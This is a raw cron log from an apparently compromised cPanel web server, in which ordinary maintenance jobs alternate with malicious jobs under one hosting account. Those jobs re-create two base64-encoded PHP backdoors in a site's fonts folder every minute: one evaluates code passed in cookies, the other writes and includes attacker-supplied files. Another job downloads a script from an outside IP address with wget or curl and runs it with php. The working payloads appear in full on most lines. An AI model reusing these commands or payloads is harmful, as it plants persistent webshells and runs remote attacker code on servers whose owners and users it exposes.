Sep 21 02:15:01 ip-184-168-122-23 CROND[13357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:15:01 ip-184-168-122-23 CROND[13358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:15:01 ip-184-168-122-23 CROND[13353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:16:01 ip-184-168-122-23 CROND[13460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:16:01 ip-184-168-122-23 CROND[13459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:16:01 ip-184-168-122-23 CROND[13463]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 02:16:01 ip-184-168-122-23 CROND[13464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:16:01 ip-184-168-122-23 CROND[13466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:16:01 ip-184-168-122-23 CROND[13467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:17:01 ip-184-168-122-23 CROND[13558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:17:01 ip-184-168-122-23 CROND[13559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:17:01 ip-184-168-122-23 CROND[13561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:17:01 ip-184-168-122-23 CROND[13563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:18:01 ip-184-168-122-23 CROND[13748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:18:01 ip-184-168-122-23 CROND[13752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:18:01 ip-184-168-122-23 CROND[13751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:18:01 ip-184-168-122-23 CROND[13750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:18:01 ip-184-168-122-23 CROND[13753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:19:01 ip-184-168-122-23 CROND[13872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:19:01 ip-184-168-122-23 CROND[13874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:19:01 ip-184-168-122-23 CROND[13876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:19:01 ip-184-168-122-23 CROND[13877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:20:01 ip-184-168-122-23 CROND[14005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:20:02 ip-184-168-122-23 CROND[14014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:20:02 ip-184-168-122-23 CROND[14016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:20:02 ip-184-168-122-23 CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:21:01 ip-184-168-122-23 CROND[14127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:21:01 ip-184-168-122-23 CROND[14129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:21:01 ip-184-168-122-23 CROND[14130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:21:01 ip-184-168-122-23 CROND[14131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:22:01 ip-184-168-122-23 CROND[14278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:22:01 ip-184-168-122-23 CROND[14281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:22:01 ip-184-168-122-23 CROND[14282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:22:01 ip-184-168-122-23 CROND[14280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:22:01 ip-184-168-122-23 CROND[14283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:23:02 ip-184-168-122-23 CROND[14463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:23:02 ip-184-168-122-23 CROND[14462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:23:02 ip-184-168-122-23 CROND[14464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:23:02 ip-184-168-122-23 CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:24:01 ip-184-168-122-23 CROND[14557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:24:01 ip-184-168-122-23 CROND[14560]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 21 02:24:01 ip-184-168-122-23 CROND[14562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:24:01 ip-184-168-122-23 CROND[14563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:24:01 ip-184-168-122-23 CROND[14564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:24:01 ip-184-168-122-23 CROND[14561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:25:01 ip-184-168-122-23 CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:25:01 ip-184-168-122-23 CROND[14705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:25:01 ip-184-168-122-23 CROND[14707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:25:01 ip-184-168-122-23 CROND[14710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:25:01 ip-184-168-122-23 CROND[14709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:25:01 ip-184-168-122-23 CROND[14712]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 02:25:01 ip-184-168-122-23 CROND[14711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:26:01 ip-184-168-122-23 CROND[14903]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 21 02:26:01 ip-184-168-122-23 CROND[14904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:26:01 ip-184-168-122-23 CROND[14906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:26:01 ip-184-168-122-23 CROND[14909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:26:01 ip-184-168-122-23 CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:26:01 ip-184-168-122-23 CROND[14911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
